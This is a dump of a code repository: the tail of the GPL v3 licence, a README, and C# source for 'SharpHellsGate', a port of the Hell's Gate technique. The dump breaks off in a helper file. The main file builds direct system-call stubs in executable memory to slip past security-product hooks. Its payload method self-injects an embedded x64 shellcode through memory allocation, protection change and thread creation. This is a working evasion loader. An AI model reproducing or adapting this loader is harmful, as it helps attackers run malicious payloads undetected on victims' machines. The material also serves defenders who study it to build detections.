terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "README.md",
    "content": "## C# Hell's Gate ##\nC# Implementation of the Hell's Gate VX Technique \n<br />\n<br />\nLink to the paper: https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf\n<br /> PDF also included in this repository.\n<br />\n<br />\nLink to the original C implementation: https://github.com/am0nsec/HellsGate\n<br />\n<br />\n"
  },
  {
    "path": "SharpHellsGate/HellsGate.cs",
    "content": "﻿using System;\r\nusing SharpHellsGate.Win32;\r\nusing System.Runtime.InteropServices;\r\nusing System.Collections.Generic;\r\nusing System.Reflection;\r\nusing System.Runtime.CompilerServices;\r\n\r\nnamespace SharpHellsGate {\r\n\r\n    /// <summary>\r\n    /// Main implementation of the Hell's Gate technique.\r\n    /// Responsible for generating a RWX memory region, inject and execute system call stubs.\r\n    /// </summary>\r\n    public class HellsGate {\r\n\r\n        /// <summary>\r\n        /// Used to check if the RWX memory region was generated.\r\n        /// </summary>\r\n        private bool IsGateReady { get; set; } = false;\r\n\r\n        /// <summary>\r\n        /// Used as for mutual exclusion while injecting and execution of the system call stub in memory.\r\n        /// </summary>\r\n        private object Mutant { get; set; } = new object();\r\n\r\n        /// <summary>\r\n        /// \r\n        /// </summary>\r\n        private Dictionary<UInt64, Util.APITableEntry> APITable { get; set; } = new Dictionary<ulong, Util.APITableEntry>() { };\r\n\r\n        /// <summary>\r\n        /// Address of the managed method that was JIT'ed.\r\n        /// </summary>\r\n        private IntPtr MangedMethodAddress { get; set; } = IntPtr.Zero;\r\n\r\n        /// <summary>\r\n        /// Address of the RWX memory region after JIT compiling the managed method.\r\n        /// </summary>\r\n        private IntPtr UnmanagedMethodAddress { get; set; } = IntPtr.Zero;\r\n\r\n        /// <summary>\r\n        /// This function will be JIT at runtime to create RWX memory region.\r\n        /// </summary>\r\n        //// <returns>Gate returns either STATUS_SUCCESS or an error status code.</returns>\r\n        [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]\r\n        private static UInt32 Gate() {\r\n            return new UInt32();\r\n        }\r\n\r\n        /// <summary>\r\n        /// Inject in memory a basic system call stub and return a delegate for execution via un-managed code.\r\n        /// </summary>\r\n        /// <typeparam name=\"T\">The desired delegate Type.</typeparam>\r\n        /// <param name=\"syscall\">The system call to execute.</param>\r\n        /// <returns>A delegate of to execute the system call.</returns>\r\n        private T NtInvocation<T>(Int16 syscall) where T: Delegate {\r\n            if (!this.IsGateReady || this.UnmanagedMethodAddress == IntPtr.Zero) {\r\n                Util.LogError(\"Unable to inject system call stub\");\r\n                return default;\r\n            }\r\n\r\n            Span<byte> stub = stackalloc byte[24] {\r\n                0x4c, 0x8b, 0xd1,                                      // mov  r10, rcx\r\n                0xb8, (byte)syscall, (byte)(syscall >> 8), 0x00, 0x00, // mov  eax, <syscall\r\n                0xf6, 0x04, 0x25, 0x08, 0x03, 0xfe, 0x7f, 0x01,        // test byte ptr [SharedUserData+0x308],1\r\n                0x75, 0x03,                                            // jne  ntdll!<function>+0x15\r\n                0x0f, 0x05,                                            // syscall\r\n                0xc3,                                                  // ret\r\n                0xcd, 0x2e,                                            // int  2Eh\r\n                0xc3                                                   // ret\r\n            };\r\n\r\n            Marshal.Copy(stub.ToArray(), 0, this.UnmanagedMethodAddress, stub.Length);\r\n            return Marshal.GetDelegateForFunctionPointer<T>(this.UnmanagedMethodAddress);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Managed wrapper around the NtAllocateVirtualMemory native Windows function\r\n        /// </summary>\r\n        /// <param name=\"ProcessHandle\">A handle for the process for which the mapping should be done.</param>\r\n        /// <param name=\"BaseAddress\">A pointer to a variable that will receive the base address of the allocated region of pages.</param>\r\n        /// <param name=\"ZeroBits\">The number of high-order address bits that must be zero in the base address of the section view.</param>\r\n        /// <param name=\"RegionSize\">A pointer to a variable that will receive the actual size, in bytes, of the allocated region of pages.</param>\r\n        /// <param name=\"AllocationType\">A bitmask containing flags that specify the type of allocation to be performed for the specified region of pages.</param>\r\n        /// <param name=\"Protect\">A bitmask containing page protection flags that specify the protection desired for the committed region of pages.</param>\r\n        /// <returns>NtAllocateVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>\r\n        private UInt32 NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, UInt32 AllocationType, UInt32 Protect) {\r\n            lock (this.Mutant) {\r\n                Int16 syscall = this.APITable[Util.NtAllocateVirtualMemoryHash].Syscall;\r\n                if (syscall == 0x0000)\r\n                    return Macros.STATUS_UNSUCCESSFUL;\r\n\r\n                DFunctions.NtAllocateVirtualMemory Func = NtInvocation<DFunctions.NtAllocateVirtualMemory>(syscall);\r\n                return Func(ProcessHandle, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect);\r\n            }\r\n        }\r\n\r\n        /// <summary>\r\n        /// Managed wrapper around the NtProtectVirtualMemory native Windows function.\r\n        /// </summary>\r\n        /// <param name=\"ProcessHandle\">Handle to Process Object opened with PROCESS_VM_OPERATION access.</param>\r\n        /// <param name=\"BaseAddress\">Pointer to base address to protect. Protection will change on all page containing specified address. On output, BaseAddress will point to page start address.</param>\r\n        /// <param name=\"NumberOfBytesToProtect\">Pointer to size of region to protect. On output will be round to page size (4KB).</param>\r\n        /// <param name=\"NewAccessProtection\">One or some of PAGE_... attributes.</param>\r\n        /// <param name=\"OldAccessProtection\">Receive previous protection.</param>\r\n        /// <returns>NtProtectVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>\r\n        private UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr NumberOfBytesToProtect, UInt32 NewAccessProtection, ref UInt32 OldAccessProtection) {\r\n            lock (this.Mutant) {\r\n                Int16 syscall = this.APITable[Util.NtProtectVirtualMemoryHash].Syscall;\r\n                if (syscall == 0x0000)\r\n                    return Macros.STATUS_UNSUCCESSFUL;\r\n\r\n                DFunctions.NtProtectVirtualMemory Func = NtInvocation<DFunctions.NtProtectVirtualMemory>(syscall);\r\n                return Func(ProcessHandle, ref BaseAddress, ref NumberOfBytesToProtect, NewAccessProtection, out OldAccessProtection);\r\n            }\r\n        }\r\n\r\n        /// <summary>\r\n        /// Managed wrapper around the NtCreateThreadEx native Windows function.\r\n        /// </summary>\r\n        /// <param name=\"hThread\">Caller supplied storage for the resulting handle.</param>\r\n        /// <param name=\"DesiredAccess\">Specifies the allowed or desired access to the thread.</param>\r\n        /// <param name=\"ObjectAttributes\">Initialized attributes for the object.</param>\r\n        /// <param name=\"ProcessHandle\">Handle to the threads parent process.</param>\r\n        /// <param name=\"lpStartAddress\">Address of the function to execute.</param>\r\n        /// <param name=\"lpParameter\">Parameters to pass to the function.</param>\r\n        /// <param name=\"CreateSuspended\">Whether the thread will be in suspended mode and has to be resumed later.</param>\r\n        /// <param name=\"StackZeroBits\"></param>\r\n        /// <param name=\"SizeOfStackCommit\">Initial stack memory to commit.</param>\r\n        /// <param name=\"SizeOfStackReserve\">Initial stack memory to reserve.</param>\r\n        /// <param name=\"lpBytesBuffer\"></param>\r\n        /// <returns>NtCreateThreadEx returns either STATUS_SUCCESS or an error status code.</returns>\r\n        private UInt32 NtCreateThreadEx(ref IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer) {\r\n            lock (this.Mutant) {\r\n                Int16 syscall = this.APITable[Util.NtCreateThreadExHash].Syscall;\r\n                if (syscall == 0x0000)\r\n                    return Macros.STATUS_UNSUCCESSFUL;\r\n\r\n                DFunctions.NtCreateThreadEx Func = NtInvocation<DFunctions.NtCreateThreadEx>(syscall);\r\n                return Func(ref hThread, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateSuspended, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer);\r\n            }\r\n        }\r\n\r\n        /// <summary>\r\n        /// Managed wrapper around the NtWaitForSingleObject native Windows function.\r\n        /// </summary>\r\n        /// <param name=\"ObjectHandle\">Open handle to a alertable executive object.</param>\r\n        /// <param name=\"Alertable\">If set, calling thread is signaled, so all queued APC routines are executed.</param>\r\n        /// <param name=\"TimeOuts\">Time-out interval, in microseconds. NULL means infinite.</param>\r\n        /// <returns>NtWaitForSingleObject returns either STATUS_SUCCESS or an error status code.</returns>\r\n        private UInt32 NtWaitForSingleObject(IntPtr ObjectHandle, bool Alertable, ref Structures.LARGE_INTEGER TimeOuts) {\r\n            lock (this.Mutant) {\r\n                Int16 syscall = this.APITable[Util.NtWaitForSingleObjectHash].Syscall;\r\n                if (syscall == 0x0000)\r\n                    return Macros.STATUS_UNSUCCESSFUL;\r\n\r\n                DFunctions.NtWaitForSingleObject Func = NtInvocation<DFunctions.NtWaitForSingleObject>(syscall);\r\n                return Func(ObjectHandle, Alertable, ref TimeOuts);\r\n            }\r\n        }\r\n\r\n        /// <summary>\r\n        /// .ctor\r\n        /// </summary>\r\n        /// <param name=\"Table\">The API table that will be used by the multiple function wrapers.</param>\r\n        public HellsGate(Dictionary<UInt64, Util.APITableEntry> Table) {\r\n            this.APITable = Table;\r\n        }\r\n\r\n        /// <summary>\r\n        /// JIT a static method to generate RWX memory segment.\r\n        /// </summary>\r\n        /// <returns>Whether the memory segment was successfully generated.</returns>\r\n        public bool GenerateRWXMemorySegment() {\r\n            // Find and JIT the method\r\n            MethodInfo method = typeof(HellsGate).GetMethod(nameof(Gate), BindingFlags.Static | BindingFlags.NonPublic);\r\n            if (method == null) {\r\n                Util.LogError(\"Unable to find the method\");\r\n                return false;\r\n            }\r\n            RuntimeHelpers.PrepareMethod(method.MethodHandle);\r\n\r\n            // Get the address of the function and check if first opcode == JMP\r\n            IntPtr pMethod = method.MethodHandle.GetFunctionPointer();\r\n            if (Marshal.ReadByte(pMethod) != 0xe9) {\r\n                Util.LogError(\"Method was not JIT'ed or invalid stub\");\r\n                return false;\r\n            }\r\n            Util.LogInfo($\"Managed method address:   0x{pMethod:x16}\");\r\n\r\n            // Get address of jited method and stack alignment \r\n            Int32 offset = Marshal.ReadInt32(pMethod, 1);\r\n            UInt64 addr = (UInt64)pMethod + (UInt64)offset;\r\n            while (addr % 16 != 0)\r\n                addr++;\r\n            Util.LogInfo($\"Unmanaged method address: 0x{addr:x16}\\n\");\r\n\r\n            this.MangedMethodAddress = method.MethodHandle.GetFunctionPointer();\r\n            this.UnmanagedMethodAddress = (IntPtr)addr;\r\n            this.IsGateReady = true;\r\n            return true;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Payload example. In this case this is a basic shellcode self-injection.\r\n        /// </summary>\r\n        public void Payload() {\r\n            if (!this.IsGateReady) {\r\n                if (!this.GenerateRWXMemorySegment()) {\r\n                    Util.LogError(\"Unable to generate RX memory segment\");\r\n                    return;\r\n                }\r\n            }\r\n\r\n            byte[] shellcode = new byte[273] {\r\n                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,\r\n                0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,\r\n                0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,\r\n                0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,\r\n                0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,\r\n                0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,\r\n                0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,\r\n                0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,\r\n                0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,\r\n                0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,\r\n                0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,\r\n                0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,\r\n                0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,\r\n                0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,\r\n                0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,\r\n                0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,\r\n                0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,\r\n                0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,\r\n                0x63,0x00,0xc3\r\n            };\r\n            Util.LogInfo($\"Shellcode size: {shellcode.Length} bytes\");\r\n\r\n            // Allocate Memory\r\n            IntPtr pBaseAddres = IntPtr.Zero;\r\n            IntPtr Region = (IntPtr)shellcode.Length;\r\n            UInt32 ntstatus = NtAllocateVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, IntPtr.Zero, ref Region, Macros.MEM_COMMIT | Macros.MEM_RESERVE, Macros.PAGE_READWRITE);\r\n            if (!Macros.NT_SUCCESS(ntstatus)) {\r\n                Util.LogError($\"Error ntdll!NtAllocateVirtualMemory (0x{ntstatus:0x8})\");\r\n                return;\r\n            }\r\n            Util.LogInfo($\"Page address:   0x{pBaseAddres:x16}\");\r\n\r\n            // Copy Memory\r\n            Marshal.Copy(shellcode, 0, pBaseAddres, shellcode.Length);\r\n            Array.Clear(shellcode, 0, shellcode.Length);\r\n\r\n            // Change memory protection\r\n            UInt32 OldAccessProtection = 0;\r\n            ntstatus = NtProtectVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, ref Region, Macros.PAGE_EXECUTE_READ, ref OldAccessProtection);\r\n            if (!Macros.NT_SUCCESS(ntstatus) || OldAccessProtection != 0x0004) {\r\n                Util.LogError($\"Error ntdll!NtProtectVirtualMemory (0x{ntstatus:0x8})\");\r\n                return;\r\n            }\r\n\r\n            IntPtr hThread = IntPtr.Zero;\r\n            ntstatus = NtCreateThreadEx(ref hThread, 0x1FFFFF, IntPtr.Zero, Macros.GetCurrentProcess(), pBaseAddres, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);\r\n            if (!Macros.NT_SUCCESS(ntstatus) || hThread == IntPtr.Zero) {\r\n                Util.LogError($\"Error ntdll!NtCreateThreadEx (0x{ntstatus:0x8})\");\r\n                return;\r\n            }\r\n            Util.LogInfo($\"Thread handle:  0x{hThread:x16}\\n\");\r\n\r\n            // Wait for one second\r\n            Structures.LARGE_INTEGER TimeOut = new Structures.LARGE_INTEGER();\r\n            TimeOut.QuadPart = -10000000;\r\n            ntstatus = NtWaitForSingleObject(hThread, false, ref TimeOut);\r\n            if (ntstatus != 0x00) {\r\n                Util.LogError($\"Error ntdll!NtWaitForSingleObject (0x{ntstatus:0x8})\");\r\n                return;\r\n            }\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "SharpHellsGate/Module/MemoryUtil.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Runtime.InteropServices;\r\nusing System.Text;\r\n\r\nnamespace SharpHellsGate.Module {\r\n    /// <summary>\r\n    /// Used to manipulate and extract information from a memory stream.\r\n    /// In this case the memory stream is the NTDLL module.\r\n    /// </summary>\r\n    public class MemoryUtil : IDisposable {\r\n\r\n        /// <summary>\r\n        /// The memory stream representation of the NTDLL module.\r\n        /// </summary>\r\n        protected Stream ModuleStream { get; set; }\r\n\r\n        /// <summary>\r\n        /// Dispose the memory stream when no longer needed.\r\n        /// </summary>\r\n        ~MemoryUtil() => Dispose();\r\n\r\n        /// <summary>\r\n        /// Dispose the memory stream when no longer needed.\r\n        /// </summary>\r\n        public void Dispose() {\r\n            this.ModuleStream.Dispose();\r\n            this.ModuleStream.Close();\r\n            GC.SuppressFinalize(this);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Extract a structure from the memory stream.\r\n        /// </summary>\r\n        /// <typeparam name=\"T\">The Type of the structure to extract.</typeparam>\r\n        /// <param name=\"offset\">The offset in the memory stream where the structure is located.</param>\r\n        /// <returns>The structure populated or the default structure.</returns>\r\n        protected T GetStructureFromBlob<T>(Int64 offset) where T : struct {\r\n            Span<byte> bytes = this.GetStructureBytesFromOffset<T>(offset);\r\n            if (Marshal.SizeOf<T>() != bytes.Length)\r\n                return default;\r\n\r\n            IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf<T>());\r\n            Marshal.Copy(bytes.ToArray(), 0, ptr, bytes.Length);\r\n            T s = Marshal.PtrToStructure<T>(ptr);\r\n\r\n            Marshal.FreeHGlobal(ptr);\r\n            return s;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Extract the code from a native Windows function.\r\n        /// </summary>\r\n        /// <param name=\"offset\">The location of the function in the memory stream.</param>\r\n        /// <returns>The 24 bytes representing the code of the function.</returns>\r\n        protected Span<byte> GetFunctionOpCode(Int64 offset) {\r\n            Span<byte> s = stackalloc byte[24];\r\n            this.ModuleStream.Seek(offset, SeekOrigin.Begin);\r\n            this.ModuleStream.Read(s);\r\n            return s.ToArray();\r\n        }\r\n\r\n        /// <summary>\r\n        /// Extract a DWORD value from the memory stream.\r\n        /// </summary>\r\n        /// <param name=\"offset\">The location of the DWORD in the memory stream.</param>\r\n        /// <returns>The value of the DWORD.</returns>\r\n        protected UInt32 ReadPtr32(Int64 offset) {\r\n            Span<byte> s = stackalloc byte[4];\r\n            this.ModuleStream.Seek(offset, SeekOrigin.Begin);\r\n            this.ModuleStream.Read(s);\r\n            return BitConverter.ToUInt32(s);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Extract a QWORD value from the memory stream.\r\n        /// </summary>\r\n        /// <param name=\"offset\">The location of the QWORD in the memory stream.</param>\r\n        /// <returns>The value of the QWORD.</returns>\r\n        protected UInt64 ReadPtr64(Int64 offset) {\r\n            Span<byte> s = stackalloc byte[8];\r\n            this.ModuleStream.Seek(offset, SeekOrigin.Begin);\r\n            this.ModuleStream.Read(s);\r\n            return BitConverter.ToUInt64(s);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Extract a WORD value from the memory stream.\r\n        /// </summary>\r\n        /// <param name=\"offset\">The location of the WORD in the memory stream.</param>\r\n        /// <returns>The value of the WORD.</returns>\r\n        protected UInt16 ReadUShort(Int64 offset) {\r\n            Span<byte> s = stackalloc byte[2];\r\n            this.ModuleStream.Seek(offset, SeekOrigin.Begin);\r\n            this.ModuleStream.Read(s);\r\n            return BitConverter.ToUInt16(s);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Extract an ASCII string from the memory stream.\r\n        /// </summary>\r\n        /// <param name=\"offset\">The location of the ASCII string in the memory stream.</param>\r\n        /// <returns>The ASCII string.</returns>\r\n        protected string ReadAscii(Int64 offset) {\r\n            int length = 0;\r\n            this.ModuleStream.Seek(offset, SeekOrigin.Begin);\r\n            while (this.ModuleStream.ReadByte() != 